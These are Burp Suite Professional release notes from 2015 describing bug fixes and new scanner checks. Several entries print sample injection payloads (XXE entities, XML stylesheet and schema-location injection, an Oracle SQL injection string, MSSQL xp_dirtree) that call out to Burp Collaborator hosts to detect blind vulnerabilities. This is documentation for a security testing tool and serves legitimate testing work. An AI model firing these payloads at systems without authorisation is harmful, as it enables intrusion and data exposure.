Burp Suite, the leading toolkit for web application security testing

Burp Suite Professional - Release Notes

Tuesday, October 20, 2015


This release fixes a bug that was introduced in 1.6.29 in the handling of cookies in session handling rules. When a session handling rule attempts to update the values of multiple cookies within a single request, the bug caused this operation to fail in some situations, with the result that the request might be made out of session.

Burp Suite Professional:
MD5: e7e8cb9012cd2c81faf39ac877fb18e6
SHA256: 99baa396c9f7065791f1dc024919e25a63d7a9422ef502470620c41f859f9803

Burp Suite Free Edition:
MD5: e4a752d67ac23d0e1c103b694b42cb0b
SHA256: b048e08264de811a75e180aedf1fbf92bec9c3f8bc0016017e67a0a529b92768

Monday, October 19, 2015


This release updates Burp to include a security fix in the BlazeDS library that Burp uses for parsing AMF messages, and disables AMF support by default:
  • AMF messages can contain embedded XML content, and this is processed by the BlazeDS library when it parses AMF messages. BlazeDS has been found to contain an XXE vulnerability in its processing of XML embedded within AMF messages. In the context of Burp, the potential impact of the vulnerability is that a malicious target application could read the contents of files from the Burp user's computer, provided it knows the names of those files. A malicious application could perform this attack if it generates a suitable AMF message and the user browses via Burp to a response containing the AMF message. The latest version of BlazeDS contains a fix for the XXE vulnerability, and Burp has been updated to use the new version of the library. Thanks are due to David Klein from Context Information Security for drawing our attention to this issue.
  • It is well known that XML parsing is fraught with problems, as is demonstrated by Burp Scanner's XML checks. To reduce the impact of any further issues within BlazeDS, Burp has been updated so that by default it disables the AMF tab within the HTTP message editor, and disables AMF insertion points in the Scanner. Users can turn on these options if they are testing a trusted application that uses AMF messages. It is recommended that users do not enable AMF processing when accessing any untrusted application functionality or content.
Burp's cookie jar has been updated to support the cookie path attribute. The cookie jar is now able to track multiple cookies from the same domain with the same name, but which are scoped to different application paths. Burp's session handling rules now correctly update cookies in requests based on the path attribute.

The functions to save and restore state now include options for handling the unique identifier that Burp uses to track interactions with Burp Collaborator. Each Burp project/session generates a unique identifier that is used to track any Burp Collaborator interactions that are associated with the project. If two users share a state file, and each continues testing from that point, there is the potential for interference in Collaborator interactions, causing some Collaborator-based issues to be missed or incorrectly reported. When saving state, you can now choose whether to include the identifier within the state file, so that you or someone else can resume the testing later. When loading a state file that was saved using a different installation of Burp and which contains a Collaborator identifier, you can now choose whether to take full ownership of the project and receive details of any ongoing Collaborator interactions that are associated with the project. 

(Note that each fresh Burp project/session generates a new random Collaborator identifier, so there is no risk of permanent cross-talk between different Burp instances, regardless of the options chosen when sharing a specific state file.)

A bug affecting the importing of some custom CA certificates in PKCS#12 format has been fixed.

Burp Suite Professional:
MD5: bec6d3149193488adac77e2c45d4eafa
SHA256: d8706d3777ab710c6d7e069e9e6c953b515d0e4233ec4c531a310b89f62ae489

Burp Suite Free Edition:
MD5: c940c22451c53c5f7fda8cba2b151b2a
SHA256: 722b831cf899f23573e80f7ba856d1b9316de090be13e73ef0d026b877957687

Tuesday, October 6, 2015


This release adds the ability to annotate the active scan queue with comments and highlights, as is already possible in the Proxy history and Target site map:

Recently, we removed the ability to delete items from the active scan queue. This was done in preparation for some planned new capabilities that will enable the Scanner to retrospectively report issues for scan queue items that have finished scanning. For this capability to work, we needed to retain the full scan queue history. Some users have complained that they were using the deletion of items as part of their testing workflow. To address this issue, we have added the ability to apply comments and highlights to scan queue items. This provides an improved alternative to the previous workflow that these users were following.

A number of other changes have been made:
  • The performance of the Target site map when selecting tree branches containing very large numbers of scan issues has been dramatically improved.
  • The process of configuring Burp to use a PKCS#11 certificate has been improved. You can now manually select the required card slot during installation, swap cards at runtime, and reload configuration from state files more easily.
  • There is a new Scanner option to create an insertion point for the entire request body, for relevant content types. This currently applies to requests with XML or JSON content in the request body. This insertion point is enabled by default, and should allow detection of some additional edge-case vulnerabilities (e.g. server-side JavaScript injection where an entire request body containing JSON is passed to the JavaScript eval function).
  • The Scanner insertion point type that was previously called "REST-style URL parameters" has been replaced with two insertion point types, covering URL path folders and the final URL filename. The filename insertion point is enabled by default, while folder insertion points are still disabled. This change should improve Burp's detection of some issues in its default configuration, such as XSS through reflection of the full URL path excluding the query string.
  • A bug that caused occasional corruption of saved state files and prevented them from correctly reloading has been fixed.
  • Scanner issues that are reported by Burp extensions are now identified as such within the UI and scan reports. This was primarily done to reduce the number of support tickets relating to defects in the wording of extension-generated issues.
  • The temporary directories created by Burp should now not be world-readable on any platforms, to prevent direct access to Burp's temporary files from other users on a multi-user machine. Note that by default such users can in any case access a large quantity of sensitive data, and interfere with Burp's operation, via the default Proxy listener on Users are encouraged not to use Burp on a machine that is shared with untrusted users.
Burp Suite Professional:
MD5: 2e9dbfa9b582cab1684ae2750eb95c8e
SHA256: 2ce0e85e30a39c9d3e1a1dac363dd57af69f50a4d8c81c9dc870b7852c32edaa

Burp Suite Free Edition:
MD5: 058b1ce8993318498f8e25ee6d09853c
SHA256: a3cedb8a2223287328273d7a2b928adde69e33f08ade6934b0a968bfb05bfd8e

Friday, September 11, 2015


This release adds the ability to detect completely blind SQL injection by triggering interactions with Burp Collaborator.

Previously, Burp Scanner has used various evidence to detect SQL injection, including:
  • Error messages
  • Differential responses through injected Boolean conditions
  • Time delays
Each of these techniques involves sending payloads designed to trigger some kind of difference in the application's immediate response, whether in its actual contents or the time taken to receive it. In some situations, SQL injection conditions can exist that just cannot be found in this way, because there is no way to induce any difference in the application's immediate response.

Enter Burp Collaborator. Burp Scanner now sends payloads like:

'||(select extractvalue(xmltype(
'<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ 
<!ENTITY % glrvh SYSTEM "http://fcvlarzebywms16gggoy7tvo.burpcollaborator.net/">%glrvh;]>'
),'/l') from dual)||'

';exec master.dbo.xp_dirtree

'+(select load_file(

and reports an appropriate issue based on any observed interactions (DNS or HTTP) that reach the Burp Collaborator server.

The above payloads work, respectively, on Oracle, Microsoft SQL Server, and MySQL (running on Windows). Each payload breaks out of the existing SQL query context and uses a database-specific technique to induce the database to perform some kind of network interaction with Burp Collaborator, through either a web URL or a UNC file path.

As things stand, having searched high and low, we have yet to find a similar technique that works against MySQL running on Linux. We would be highly appreciative if anyone can come up with a generic and feasible payload that safely induces MySQL on Linux to interact with an arbitrary external domain, without causing damage to any target systems or data. The first person to email us a qualifying payload will be quite literally showered in Burp Suite swag, including a highly-coveted T-shirt.

MD5: 53ca7d4a8ec8df95f81da624154916a7
SHA256: a242b4e0b611e3ef4302af42d36fd2be52479d98b595ecb67b1c143915dc312d

Wednesday, September 2, 2015


This release adds the ability to detect blind server-side XML/SOAP injection by triggering interactions with Burp Collaborator.

Previously, Burp Scanner has detected XML/SOAP injection by submitting some XML-breaking syntax like:


and analyzing responses for any resulting error messages.

Burp now sends payloads like:

<nzf xmlns="http://a.b/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/ http://kuiqswhjt3era6olyl63pyd.burpcollaborator.net/nzf.xsd">

and reports an appropriate issue based on any observed interactions (DNS or HTTP) that reach the Burp Collaborator server.

Note that this type of technique is effective even when the original parameter value does not contain XML, and there is no indication within the request or response that XML/SOAP is being used on the server side.

The new scan check uses both schema location and XInclude to cause the server-side XML parser to interact with the Collaborator server.

In addition, when the original parameter value does contain XML being submitted by the client, Burp now also uses the schema location and XInclude techniques to try to induce external service interactions. (We believe that Burp is now aware of all available tricks for inducing a server-side XML parser to interact with an external network service. But we would be very happy to hear of any others that people know about.)

MD5: aa39f49f7622a4686b2499a43b4ba602
SHA256: 755085c6a2da1947be634a10026c58bd60d3d6cdf41c6bb9f79b434993834962

Friday, August 21, 2015


This release adds a new scan check for external service interaction and out-of-band resource load via injected XML stylesheet tags. Burp now sends payloads like:

<?xml version='1.0'?><?xml-stylesheet type="text/xml" href="http://tqnm38srfkzw67vux9rred.burpcollaborator.net"?>

and reports an appropriate issue based on any observed interactions (DNS or HTTP) that reach the Burp Collaborator server.

The release also fixes some issues:
  • A bug that caused the file path traversal scan check to produce false negatives in some edge cases has been fixed.
  • A bug that could cause the list of loaded extensions to become corrupted or deadlocked when restarting Burp with a large number of extensions configured has been fixed.
  • A bug that caused some items in the site map to be incorrectly placed after restoring state has been fixed.
  • A bug that caused changes made to the cookie jar configuration to be not applied until the next restart has been fixed.
Burp Suite Professional:
MD5: 9ce0a628ea620e5ce53edccbd081c227
SHA256: 4540b47156f2a2df3cb3193b3b8bbe0773442bfd7b71b8800ded369911f0e0a7

Burp Suite Free Edition:
MD5: 7d2b2060e3aa52568b7cd6b19efebcd0
SHA256: 2e88bbef868e3cb8d3bac9f62f7d91d3245162ecc92985305a2c72aeeb60b851

Wednesday, August 5, 2015


This release adds a new Scanner check for server-side template injection.

Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates leads to a vulnerability that is:
  • frequently critical, allowing full arbitrary code execution on the server; and
  • easily mistaken for cross-site scripting, which is usually a much less serious issue. 
The vulnerability is generic in nature, potentially affecting any web application that uses a template engine in an unsafe way. This can arise both through developer error, and through the intentional exposure of templates in an attempt to offer rich functionality, as is commonly done by wikis, blogs, marketing applications, and content management systems. Many template engines offer a "sandboxed" mode for this purpose, but it is frequently possible to escape from this.

In the course of researching this vulnerability and developing the new Scanner check, we have identified numerous zero-day instances of the vulnerability in real-world, widely-used applications. The exact frequency of the vulnerability is unknown, but we have repeatedly stumbled upon it on penetration testing engagements and have easily located several targets for demonstration. Today, James Kettle from the Burp Suite team has presented the results of this research at the Black Hat security conference.

For full technical details of how this vulnerability can be found and exploited, see our server-side template injection blog post.

The release also adds two other new features:
  • A new Scanner check for server-side Expression Language injection. From the client-side perspective, server-side Expression Language injection can look similar to server-side template injection. Burp should correctly distinguish between these different vulnerabilities.
  • A new Intruder payload list for common server-side variables. This list was compiled through analysis of a large quantity of real-world application source code posted on GitHub. As described in the blog post, full exploitation of server-side template injection may involve using brute force to guess the names of variables in use within the template code. The new payload list is useful for this purpose, as well as various others.
MD5: 9a76845b7f399dfd60094cee800b0194
SHA256: 7f340e07fd0c136228176d42df05a469e29b10541c377cc01808a1a4904d2b2f

Wednesday, July 29, 2015


This release adds a new scan check for external service interaction and out-of-band resource load via injected XML doctype tags containing entity parameters. Burp now sends payloads like:

<?xml version='1.0' standalone='no'?><!DOCTYPE foo [<!ENTITY % f5a30 SYSTEM "http://u1w9aaozql7z31394loost.burpcollaborator.net">%f5a30; ]>

and reports an appropriate issue based on any observed interactions (DNS or HTTP) that reach the Burp Collaborator server.

The release also fixes some issues:
  • Some bugs affecting the saving and restoring of Burp state files.
  • A bug in the Collaborator server where the auto-generated self-signed certificate does not use a wildcard prefix in the CN. This issue only affects private Collaborator server deployments where a custom SSL certificate has not been configured.
MD5: 8ca11187e3966ac5eab42437aa2c9d78
SHA256: 56788de44626ee70decb858d910ce7faedef00a784ecfdd7a6d1723c932ff8e0

Thursday, July 16, 2015


This release adds a new scan check for external service interaction and out-of-band resource load via injected XML doctype tags. Burp now sends payloads like:

<!DOCTYPE foo PUBLIC "-//B/A/EN" "http://chx3bggs599lgla2n3wqnj2e35.burpcollaborator.net">

and reports an appropriate issue based on any observed interactions (DNS or HTTP) that reach the Burp Collaborator server.

MD5: 65810fedf540ee6fa2d868fa14e6c68f
SHA256: fba2aec68822ec0a90da46e4aa1a67e0f75c3f103d1ecfedb247d2c25b14116d

Tuesday, July 7, 2015


In this release, the description and remediation text for all Scanner issues has been rewritten to bring things up to date.

Additionally, the definitions for all available issues can now be viewed within the Burp UI, at Scanner / Issue definitions:

Where applicable, issues also include a list of references to online resources relating to the vulnerability.

This should hopefully provide a useful learning resource for people setting out in web security testing who want to read up about different vulnerabilities.

It will also help people who create integrations between Burp and other security tools. The "type index" field on each issue type is the number that is included within Burp's XML output and available via the API. This can be used to map Burp's issues to other taxonomies of web security vulnerabilities.

MD5: 3db9e71152b01d6ba6ec2387231b08aa
SHA256: 115e7c37ecae00f769ce23581e690f13bf841b518034467fd2a0485146883983

Support Center

Get help and join the community discussions at the Burp Suite Support Center.

Visit the Support Center ›

Copyright 2015 PortSwigger Ltd. All rights reserved.